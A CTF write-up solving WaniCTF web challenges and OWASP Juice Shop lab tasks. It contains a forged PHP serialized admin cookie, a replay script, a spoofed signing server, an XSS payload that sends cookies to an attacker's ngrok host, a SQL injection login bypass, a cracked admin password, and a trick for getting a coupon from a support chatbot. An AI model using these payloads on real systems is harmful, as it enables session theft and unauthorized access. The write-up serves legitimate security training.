Web: Hidden In Plain Sight
Solution
when we start we see a simple login page
When i go to /robots.txt i found this
User-agent: *
Disallow: /s3cr3t_b4ckup
when you go to /s3cr3t_b4ckup you will be able to download the source code
the code config.php whose content is
<?php
$valid_username = 'guest';
$valid_password = 'guest@123456';
?>
This is very good i used this credential to login
we have also login.php which contains
<?php
include("config.php");
class User {
public $username;
private $password;
public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'];
$password = $_POST['password'];
if ($username === $valid_username && $password === $valid_password) {
$user= new User($username, $password);
$cookie_value = base64_encode(serialize($user));
setcookie('login', $cookie_value, time() + 3600, '/');
header('Location: profile.php');
exit();
} else {
$error_message = 'Invalid username or password.';
}
}
?>
The interesting info here that the cookie is formed by calculating base64 of the serialized object of the logged in user.
so if we decode out current cookie it becomes O:4:"User":2:{s:8:"username";s:5:"guest";s:14:"Userpassword";s:12:"guest@123456";}
It’s corresponding to a user object with the credential we used.
for more understanding of how the php serialized object created here
in the src code there’s also profile.php which contains
<?php
include("flag.php");
include("config.php");
include("user.php");
if (isset($_COOKIE['login'])) {
$user = unserialize(base64_decode($_COOKIE['login']));
if ($user instanceof User) {
if ($user->is_admin()) {
$welcome_message= "Welcome, admin! <br> $flag";
} else {
$welcome_message= 'Hello, ' . htmlspecialchars($user->username);
}
}
else {
header('Location: index.php');
exit();
}
}
else {
header('Location: index.php');
exit();
}
?>
from this code we see that the flag will appear if the logged in user is instance of user and is_admin() returns True
This function is tested on the cookie after decoding and unserializing the cookie (returning it to object).
The last file in src code is user.php whose content is
<?php
class User {
public $username;
private $isAdmin = false;
private $password;
public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
public function getPassword() {
return $this->password;
}
public function getUsername() {
return $this->username;
}
public function is_admin() {
return $this->isAdmin;
}
}
?>
we see that is_admin() returns True if isAdmin attribute equals True.
So our idea here is updating the cookie by adding isAdmin attribute and setting it to True.
Note the validation to render the flag is done in isAdmin only, so we don’t need the username, etc … (including them isn’t a problem but i will ignore them xD)
So the serialized object here became O:4:"User":1:{s:7:"isAdmin";b:1;}
digging the serialized object
O: object
4: object name length (needed for parsing)
User: object name
1: number of object attributes
s: string
7: string's name length
isAdmin: string's name
b: boolean
1: true
encode it and add it in the browser cookie or burp and you will get the flag
Congratzzzz
-
Web: pow (easy)
Description
compute hash to get your flag.
Flag Format: FLAG{…}
Solution
When we first open the challange we see this
The checking works as a counter and works according to this js script
function hash(input) {
let result = input;
for (let i = 0; i < 10; i++) {
result = CryptoJS.SHA256(result);
}
return (result.words[0] & 0xFFFFFF00) === 0;
}
async function send(array) {
document.getElementById("server-response").innerText = await fetch(
"/api/pow",
{
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify(array),
}
).then((r) => r.text());
}
let i = BigInt(localStorage.getItem("pow_progress") || "0");
async function main() {
await send([]);
async function loop() {
document.getElementById(
"client-status"
).innerText = `Checking ${i.toString()}...`;
localStorage.setItem("pow_progress", i.toString());
for (let j = 0; j < 1000; j++) {
i++;
if (hash(i.toString())) {
await send([i.toString()]);
}
}
requestAnimationFrame(loop);
}
loop();
}
main();
When the counter reaches a number such that (number & 0xFFFFFF00) === 0
The progress increases by one and also this request will be caught by burp
and when we resend the same request the progress increase as we caught one of the desired numbers
we can also make the array contains the same element multiple times and the progress will increase depending on the occurance of the number, but the array had limit about 50000 after that we get error invalid body
Note that in case of too many requests we get Rate limit reached and status code 429 in this case we should wait.
Let’s make a python script that sends the same request 1000000 times to complete the progress and get the flag
import requests
import json
import logging
import time
# Configure logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s',
handlers=[
logging.FileHandler("pow_script.log"),
logging.StreamHandler()
]
)
# Constants
URL = "https://web-pow-lz56g6.wanictf.org/api/pow"
COOKIE = "pow_session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJjNWRiNjU1MC1lNTNlLTRiNjUtYTM3NC05MDUzNjk0YmY2YzgifQ.wOrQhP5rjdXj4VsR1IqBe-HqX3aRXYRiNS_Tt2Y05eA"
# Create the payload
payload = ["82738388"] * 50000 # Max i was able to send without getting the error invalid body, must be an array of strings
# Headers
headers = {
"Host": "web-pow-lz56g6.wanictf.org",
"Cookie": COOKIE,
"Sec-Ch-Ua": '"Chromium";v="15", "Not.A/Brand";v="24"',
"Sec-Ch-Ua-Platform": '"Linux"',
"Sec-Ch-Ua-Mobile": "?0",
"User-Agent": "Mozilla/5.0",
"Content-Type": "application/json",
"Accept": "*/*",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "cors",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9",
"Priority": "u=1, i"
}
def send_data():
response = requests.post(URL, headers=headers, data=json.dumps(payload))
return response
def main():
while True:
try:
response = send_data()
if response.status_code == 200:
logging.info(f"Data sent successfully. Server response: {response.text}")
elif response.status_code == 429:
logging.warning("Rate limit reached. Waiting for 30 seconds.")
time.sleep(30) # Wait for 30 seconds before retrying
else:
logging.error(f"Error sending data: {response.status_code} - {response.text}")
except Exception as e:
logging.error(f"Exception occurred: {str(e)}")
if __name__ == "__main__":
main()
and here is the output
2024-06-23 12:27:29,911 - INFO - Data sent successfully. Server response: progress: 50003 / 1000000
2024-06-23 12:27:33,215 - INFO - Data sent successfully. Server response: progress: 100003 / 1000000
2024-06-23 12:27:44,163 - INFO - Data sent successfully. Server response: progress: 150003 / 1000000
2024-06-23 12:27:47,618 - INFO - Data sent successfully. Server response: progress: 200003 / 1000000
2024-06-23 12:27:54,285 - INFO - Data sent successfully. Server response: progress: 250003 / 1000000
2024-06-23 12:28:01,104 - INFO - Data sent successfully. Server response: progress: 300003 / 1000000
2024-06-23 12:28:06,494 - INFO - Data sent successfully. Server response: progress: 350003 / 1000000
2024-06-23 12:28:10,626 - INFO - Data sent successfully. Server response: progress: 400003 / 1000000
2024-06-23 12:28:20,049 - INFO - Data sent successfully. Server response: progress: 450003 / 1000000
2024-06-23 12:28:26,677 - INFO - Data sent successfully. Server response: progress: 500003 / 1000000
2024-06-23 12:28:33,457 - INFO - Data sent successfully. Server response: progress: 550003 / 1000000
2024-06-23 12:28:38,442 - INFO - Data sent successfully. Server response: progress: 600003 / 1000000
2024-06-23 12:28:46,195 - INFO - Data sent successfully. Server response: progress: 650003 / 1000000
2024-06-23 12:28:52,165 - INFO - Data sent successfully. Server response: progress: 700003 / 1000000
2024-06-23 12:29:00,487 - INFO - Data sent successfully. Server response: progress: 750003 / 1000000
2024-06-23 12:29:05,970 - INFO - Data sent successfully. Server response: progress: 800003 / 1000000
2024-06-23 12:29:10,849 - INFO - Data sent successfully. Server response: progress: 850003 / 1000000
2024-06-23 12:29:16,914 - INFO - Data sent successfully. Server response: progress: 900003 / 1000000
2024-06-23 12:29:22,720 - INFO - Data sent successfully. Server response: progress: 950003 / 1000000
2024-06-23 12:29:24,469 - INFO - Data sent successfully. Server response: FLAG{N0nCE_reusE_i$_FUn}
Congratzzzzzzzzzzzzz
-
Web: One Day One Letter (normal)
Description
Everything comes to those who wait.
Flag Format: FLAG{…}
Solution
in This challange we have Time server and content server
The time server
from http import HTTPStatus
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
import time
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
key = ECC.generate(curve='p256')
pubkey = key.public_key().export_key(format='PEM')
class HTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/pubkey':
self.send_response(HTTPStatus.OK)
self.send_header('Content-Type', 'text/plain; charset=utf-8')
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
res_body = pubkey
self.wfile.write(res_body.encode('utf-8'))
self.requestline
else:
timestamp = str(int(time.time())-60*60*24).encode('utf-8')
h = SHA256.new(timestamp)
signer = DSS.new(key, 'fips-186-3')
signature = signer.sign(h)
self.send_response(HTTPStatus.OK)
self.send_header('Content-Type', 'text/json; charset=utf-8')
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
res_body = json.dumps({'timestamp' : timestamp.decode('utf-8'), 'signature': signature.hex()})
self.wfile.write(res_body.encode('utf-8'))
handler = HTTPRequestHandler
httpd = HTTPServer(('', 5001), handler)
httpd.serve_forever()
The time server generates the current timestamp and signs with specific ECC key
The conent server
import json
import os
from datetime import datetime
from http import HTTPStatus
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.request import Request, urlopen
from urllib.parse import urljoin
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
FLAG_CONTENT = os.environ.get('FLAG_CONTENT', 'abcdefghijkl')
assert len(FLAG_CONTENT) == 12
assert all(c in 'abcdefghijklmnopqrstuvwxyz' for c in FLAG_CONTENT)
def get_pubkey_of_timeserver(timeserver: str):
req = Request(urljoin('https://' + timeserver, 'pubkey'))
with urlopen(req) as res:
key_text = res.read().decode('utf-8')
return ECC.import_key(key_text)
def get_flag_hint_from_timestamp(timestamp: int):
content = ['?'] * 12
idx = timestamp // (60*60*24) % 12
content[idx] = FLAG_CONTENT[idx]
return 'FLAG{' + ''.join(content) + '}'
class HTTPRequestHandler(BaseHTTPRequestHandler):
def do_OPTIONS(self):
self.send_response(200, "ok")
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'POST, OPTIONS')
self.send_header("Access-Control-Allow-Headers", "X-Requested-With")
self.send_header("Access-Control-Allow-Headers", "Content-Type")
self.end_headers()
def do_POST(self):
try:
nbytes = int(self.headers.get('content-length'))
body = json.loads(self.rfile.read(nbytes).decode('utf-8'))
timestamp = body['timestamp'].encode('utf-8')
signature = bytes.fromhex(body['signature'])
timeserver = body['timeserver']
pubkey = get_pubkey_of_timeserver(timeserver)
h = SHA256.new(timestamp)
verifier = DSS.new(pubkey, 'fips-186-3')
verifier.verify(h, signature)
self.send_response(HTTPStatus.OK)
self.send_header('Content-Type', 'text/plain; charset=utf-8')
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
dt = datetime.fromtimestamp(int(timestamp))
res_body = f'''<p>Current time is {dt.date()} {dt.time()}.</p>
<p>Flag is {get_flag_hint_from_timestamp(int(timestamp))}.</p>
<p>You can get only one letter of the flag each day.</p>
<p>See you next day.</p>
'''
self.wfile.write(res_body.encode('utf-8'))
self.requestline
except Exception:
self.send_response(HTTPStatus.UNAUTHORIZED)
self.end_headers()
handler = HTTPRequestHandler
httpd = HTTPServer(('', 5000), handler)
httpd.serve_forever()
In the content server when we post the timestamp, signature and time server then it sends request to the timeserver to /pubkey endpoint to get the public key and then it verifies the signature using this key
So u don’t need to think about the encrpytion as the content server does its magic alone u just sent him the time server which you will control in the json and he will ask the time server for the key without any problems
Steps:
run the time server locally
run ngroc using ngroc http 5001
we used ngroc because the content server can’t see our local time server so ngroc works as port forwarder in the middle and we used port 5001 as it’s the port we use in the time server and http because it supports https
and we need https because the content server has this line req = Request(urljoin('https://' + timeserver, 'pubkey')) and we see that it uses https with the time server
you can send get request to get specific timestamp and the signature
In the content server we POST the timestamp and signature we got and also the time server will be the ngroc IP as it’s our new time server and it works !!
we can now get the whole flag as we control the time server by adding 606024 to the timestamp which equals one day in seconds
repeat this until u get the flag: FLAG{lyingthetime}
Congratzzzzz
-
Web: Noscript (normal)
Description
Ignite it to steal the cookie!
Flag Format: FLAG{…}
Solution
We have the source code of this challange
This is the main
package main
import (
"context"
"fmt"
"html/template"
"net/http"
"os"
"regexp"
"sync"
"github.com/gin-gonic/gin"
"github.com/google/uuid"
"github.com/redis/go-redis/v9"
)
type InMemoryDB struct {
data map[string][2]string
mu sync.RWMutex
}
func NewInMemoryDB() *InMemoryDB {
return &InMemoryDB{
data: make(map[string][2]string),
}
}
func (db *InMemoryDB) Set(key, value1, value2 string) {
db.mu.Lock()
defer db.mu.Unlock()
db.data[key] = [2]string{value1, value2}
}
func (db *InMemoryDB) Get(key string) ([2]string, bool) {
db.mu.RLock()
defer db.mu.RUnlock()
vals, exists := db.data[key]
return vals, exists
}
func (db *InMemoryDB) Delete(key string) {
db.mu.Lock()
defer db.mu.Unlock()
delete(db.data, key)
}
func main() {
ctx := context.Background()
db := NewInMemoryDB()
redisAddr := fmt.Sprintf("%s:%s", os.Getenv("REDIS_HOST"), os.Getenv("REDIS_PORT"))
redisClient := redis.NewClient(&redis.Options{
Addr: redisAddr,
})
r := gin.Default()
r.LoadHTMLGlob("templates/*")
// Home page
r.GET("/", func(c *gin.Context) {
c.HTML(http.StatusOK, "index.html", gin.H{
"title": "Noscript!",
})
})
// Sign in
r.POST("/signin", func(c *gin.Context) {
id := uuid.New().String()
db.Set(id, "test user", "test profile")
c.Redirect(http.StatusMovedPermanently, "/user/"+id)
})
// Get user profiles
r.GET("/user/:id", func(c *gin.Context) {
c.Header("Content-Security-Policy", "default-src 'self', script-src 'none'")
id := c.Param("id")
re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
if re.MatchString(id) {
if val, ok := db.Get(id); ok {
params := map[string]interface{}{
"id": id,
"username": val[0],
"profile": template.HTML(val[1]),
}
c.HTML(http.StatusOK, "user.html", params)
} else {
_, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
}
} else {
_, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
}
})
// Modify user profiles
r.POST("/user/:id/", func(c *gin.Context) {
id := c.Param("id")
re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
if re.MatchString(id) {
if _, ok := db.Get(id); ok {
username := c.PostForm("username")
profile := c.PostForm("profile")
db.Delete(id)
db.Set(id, username, profile)
if _, ok := db.Get(id); ok {
c.Redirect(http.StatusMovedPermanently, "/user/"+id)
} else {
_, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
}
} else {
_, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
}
} else {
_, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
}
})
// Get username API
r.GET("/username/:id", func(c *gin.Context) {
id := c.Param("id")
re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
if re.MatchString(id) {
if val, ok := db.Get(id); ok {
_, _ = c.Writer.WriteString(val[0])
} else {
_, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
}
} else {
_, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
}
})
// Report API
r.POST("/report", func(c *gin.Context) {
url := c.PostForm("url") // URL to report, example : "/user/ce93310c-b549-4fe2-9afa-a298dc4cb78d"
re := regexp.MustCompile("^/user/[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
if re.MatchString(url) {
if err := redisClient.RPush(ctx, "url", url).Err(); err != nil {
_, _ = c.Writer.WriteString("<p>Failed to report <a href='/'>Home</a></p>")
return
}
if err := redisClient.Incr(ctx, "queued_count").Err(); err != nil {
_, _ = c.Writer.WriteString("<p>Failed to report <a href='/'>Home</a></p>")
return
}
_, _ = c.Writer.WriteString("<p>Reported! <a href='/'>Home</a></p>")
} else {
_, _ = c.Writer.WriteString("<p>invalid url <a href='/'>Home</a></p>")
}
})
if err := r.Run(); err != nil {
panic(err)
}
}
It has many functionalities
POST /signin will signin for us a new user and it will generate its id directly then forward us to /user/id
GET /user/:id It’s like user page contains data like username & profile (content security policy applied here)
POST /user/:id Here we can modify the username and the profile of the user
GET /username/:id It’s like user page contains data like username & profile (no content security policy here)
POST /report It accepts url parameter which is /user/:id and there’s a crawler within the source code indicating that after reporting the /user/:id is fetched by the bot
The code of the crawler
const { chromium } = require("playwright");
const Redis = require("ioredis");
const connection = new Redis({
host: process.env.REDIS_HOST,
port: process.env.REDIS_PORT,
});
const APP_URL = process.env.APP_URL; // application URL
const HOST = process.env.HOST; // HOST
const FLAG = process.env.FLAG; // FLAG
const crawl = async (path) => {
const browser = await chromium.launch();
const page = await browser.newPage();
const cookie = [
{
name: "flag",
value: FLAG,
domain: HOST,
path: "/",
expires: Date.now() / 1000 + 100000,
},
];
page.context().addCookies(cookie);
try {
await page.goto(APP_URL + path, {
waitUntil: "domcontentloaded",
timeout: 3000,
});
await page.waitForTimeout(1000);
await page.close();
} catch (err) {
console.error("crawl", err.message);
} finally {
await browser.close();
console.log("crawl", "browser closed");
}
};
(async () => {
while (true) {
console.log(
"[*] waiting new url",
await connection.get("queued_count"),
await connection.get("proceeded_count"),
);
await connection
.blpop("url", 0)
.then((v) => {
const path = v[1];
console.log("crawl", path);
return crawl(path);
})
.then(() => {
console.log("crawl", "finished");
return connection.incr("proceeded_count");
})
.catch((e) => {
console.log("crawl", e);
});
}
})();
let’s see the site now
When we first open the challange we see this
when we click sign in it makes POST /signin and forwards us to /user/id
fromn the code, the profile parameter is transelated as html entity "profile": template.HTML(val[1]) and we can see that in case we gave it value like <script>alert()</script> and this won’t happen to the username as it’s treated as normal string
No alert Triggered cuz of the content security policy
but in /username/id There’s no content security policy and it renders the value stored in the username so when we visit this endpoint the alert will be triggered
Very Nice notes !!
Back to Home page and you will see submit to admin which accepts /user/:id and reports this page to the admin and the admin bot(crawler) will fetch this page.
The problem the there’s content security policy on /user/:id so there’s no xss triggered when the admin bot fetches this page.
After looking at the code we can find that the content security policy is "default-src 'self', script-src 'none' which means that the resources which can loaded are from the same origin, so the profile parameter if we try using html entity that visits malicious this won’t work cuz the site must be in the same origin.
The idea here is making The html entity in the profile visits /username/:id which doesn’t have any csp applied and the xss payload existing in the username can be triggered.
So we can put XSS payload to steal cookie in the username field and in the profile field we put HTML entity that makes the crawler fetch /username/:id and triggers the XSS
After trying we will find these parameters will work
Username: <script>var i=new Image(); i.src="http://ngroc_ip:ngroc_port/?cookie="+btoa(document.cookie);</script>
Profile: <iframe src="/username/:id"></iframe>
we will start ngroc using ngroc tcp 4444
then listen on port 4444
after reporting we will find this the cookie on the port 4444
Congratzzzzzzzzzz
-
Web: Bad_Worker (beginner)
Description
We created a web application that works offline.
Flag Format: FLAG{…}
Solution
When we first open the challange we see this
After movement within the site, I found nothing interesting.
Then i went to examine the JS files within the site.
I found a file named service-worker.js with the content
// Caution! Be sure you understand the caveats before publishing an application with
// offline support. See https://aka.ms/blazor-offline-considerations
self.importScripts('./service-worker-assets.js');
self.addEventListener('install', event => event.waitUntil(onInstall(event)));
self.addEventListener('activate', event => event.waitUntil(onActivate(event)));
self.addEventListener('fetch', event => event.respondWith(onFetch(event)));
const cacheNamePrefix = 'offline-cache-';
const cacheName = `${cacheNamePrefix}${self.assetsManifest.version}`;
const offlineAssetsInclude = [ /\.dll$/, /\.pdb$/, /\.wasm/, /\.html/, /\.js$/, /\.json$/, /\.css$/, /\.woff$/, /\.png$/, /\.jpe?g$/, /\.gif$/, /\.ico$/, /\.blat$/, /\.dat$/ ];
const offlineAssetsExclude = [ /^service-worker\.js$/ ];
async function onInstall(event) {
//console.info('Service worker: Install');
// Fetch and cache all matching items from the assets manifest
const assetsRequests = self.assetsManifest.assets
.filter(asset => offlineAssetsInclude.some(pattern => pattern.test(asset.url)))
.filter(asset => !offlineAssetsExclude.some(pattern => pattern.test(asset.url)))
.map(asset => new Request(asset.url, { integrity: asset.hash, cache: 'no-cache' }));
await caches.open(cacheName).then(cache => cache.addAll(assetsRequests));
event.waitUntil(self.skipWaiting()); // すぐにactivateにする
}
async function onActivate(event) {
// Delete unused caches
const cacheKeys = await caches.keys();
await Promise.all(cacheKeys
.filter(key => key.startsWith(cacheNamePrefix) && key !== cacheName)
.map(key => caches.delete(key)));
event.waitUntil(self.clients.claim()); // すぐにserviceWorkerを有効にする
}
async function onFetch(event) {
let cachedResponse = null;
if (event.request.method === 'GET') {
const shouldServeIndexHtml = event.request.mode === 'navigate';
let request = event.request;
if (request.url.toString().includes("FLAG.txt")) {
request = "DUMMY.txt";
}
if (shouldServeIndexHtml) {
request = "index.html"
}
return fetch(request);
}
return cachedResponse || fetch(event.request);
}
/* Manifest version: Rq/NTVa4 */
So We need to send a GET request to /FLAG.txt endpoint and we will get the flag
Congratzzzzzzzzzzzzzzz
-
Owasp Juice Shop
Getting started
OWASP Juice Shop is probably the most modern and sophisticated insecure web application! It can be used in security trainings, awareness demos, CTFs and as a guinea pig for security tools! Juice Shop encompasses vulnerabilities from the entire OWASP Top Ten along with many other security flaws found in real-world applications!
You can solve it here.
★ Finding Score board
When you start the challange you will get alerts from the site telling you that you need to find the score board to start. You can consider it as the first challange, so let’s go.
When we look at the source code carefully we will find JS files but main.js seems to be more interesting.
I opened it and sent it to JS Beautifier to make it more organized.
I searched using the keyword score and found this.
The endpoint is /score-board congratzzzzz
The coding challange
You will see that the score-board endpoint is disclosed in the line number 114
We can’t remove it because it will break the functionality of the site
★ DOM XSS
Perform a DOM XSS attack with <iframe src="javascript:alert(`xss`)">.
After examining the site you will find an input to search functionality.
I tried to put things like <h1> and it’s rendered successfully so let’s try our payload.
Congratzzzzzz
The coding challange
filterTable () {
let queryParam: string = this.route.snapshot.queryParams.q
if (queryParam) {
queryParam = queryParam.trim()
this.dataSource.filter = queryParam.toLowerCase()
this.searchValue = this.sanitizer.bypassSecurityTrustHtml(queryParam)
this.gridDataSource.subscribe((result: any) => {
if (result.length === 0) {
this.emptyState = true
} else {
this.emptyState = false
}
})
} else {
this.dataSource.filter = ''
this.searchValue = undefined
this.emptyState = false
}
}
The problem is in this line this.searchValue = this.sanitizer.bypassSecurityTrustHtml(queryParam)
Fixing: make it this.searchValue = queryParam because when you use bypassSecurityTrustHtml you must ensure that the HTML content does not come from untrusted sources or user inputs without proper sanitization.
★ Bully Chatbot
Receive a coupon code from the support chatbot.
Consider this challange as a break xD.
attacking the chat bot maybe done by many ideas but in this the easiest one is the solution.
You just need to repeat the question and Congratzzzz XD.
★ Error Handling
Provoke an error that is neither very gracefully nor consistently handled.
During site traversing I noticed there’s and api request to /rest/user/whoami and it returns data about the user like this
{"user":{"id":22,"email":"y@g.c","lastLoginIp":"0.0.0.0","profileImage":"/assets/public/images/uploads/default.svg"}}
so i think it executes the whoami command so let’s try something like ls /rest/user/ls it gives status code 500 and the response is
{
"error": {
"message": "Unexpected path: /rest/user/ls",
"stack": "Error: Unexpected path: /rest/user/ls\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\build\\routes\\angular.js:38:18\n at Layer.handle [as handle_request] (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\layer.js:95:5)\n at trim_prefix (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:328:13)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:286:9\n at Function.process_params (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:346:12)\n at next (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:280:10)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\build\\routes\\verify.js:168:5\n at Layer.handle [as handle_request] (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\layer.js:95:5)\n at trim_prefix (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:328:13)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:286:9\n at Function.process_params (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:346:12)\n at next (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:280:10)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\build\\routes\\verify.js:105:5\n at Layer.handle [as handle_request] (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\layer.js:95:5)\n at trim_prefix (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:328:13)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:286:9\n at Function.process_params (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:346:12)\n at next (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:280:10)\n at logger (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\morgan\\index.js:144:5)\n at Layer.handle [as handle_request] (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\layer.js:95:5)\n at trim_prefix (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:328:13)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:286:9"
}
}
I think there are many other ways to solve this challange
congratzzzz anyway xD
★★ Login Admin
Log in with the administrator’s user account.
It’s a very simple sqli as when i login using 'or 1=1 --:anypasswd i login as admin.
Notice that we got admin account by luck as there maybe many users in the database why we got the admin then?? This because the admin was the first user in the table xDDDD.
Congratzzzzz
★★ Password Strength
Log in with the administrator’s user credentials without previously changing them or applying SQL Injection.
The admin’s login data
{"authentication":{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjQtMDYtMTkgMTM6MjU6MTQuMTEyICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjQtMDYtMTkgMTM6MjU6MTQuMTEyICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTcxODgwMzkzOH0.TbMVfjrOP5ZP8yd44tKZkud1k_y82DKoLnnHpmIF8x3CBRm2oDS7JqjcO-kt_fJlAoD60JCsGDLa5xoESMRCs4WhlV20nVpdwQa5-VHj2gcULe4HNvdhRuYxV19jHtqLtIaEsTSOAoS5cwxRFmdSpFkpTElhGcxKJsp19ivbm8Y","bid":1,"umail":"admin@juice-sh.op"}}
The payload of the JWT
{
"status": "success",
"data": {
"id": 1,
"username": "",
"email": "admin@juice-sh.op",
"password": "0192023a7bbd73250516f069df18b500",
"role": "admin",
"deluxeToken": "",
"lastLoginIp": "",
"profileImage": "assets/public/images/uploads/defaultAdmin.png",
"totpSecret": "",
"isActive": true,
"createdAt": "2024-06-19 13:25:14.112 +00:00",
"updatedAt": "2024-06-19 13:25:14.112 +00:00",
"deletedAt": null
},
"iat": 1718803938
}
so The admin’s email : admin@juice-sh.op
The password hash (MD5) : 0192023a7bbd73250516f069df18b500
The password after cracking : admin123
so we can login as admin using these creds
{"email":"admin@juice-sh.op","password":"admin123"}
The coding challange
The code
User.init(
password: {
type: DataTypes.STRING,
set (clearTextPassword) {
this.setDataValue('password', security.hash(clearTextPassword))
}
},
The problem is applying the hash directly without any validation of the strength of the password
Fixing is done be adding:
set (clearTextPassword) {
validatePasswordHasAtLeastTenChar(clearTextPassword)
validatePasswordIsNotInTopOneMillionCommonPasswordsList(clearTextPassword)
this.setDataValue('password', security.hash(clearTextPassword))
}
before this.setDataValue('password', security.hash(clearTextPassword))
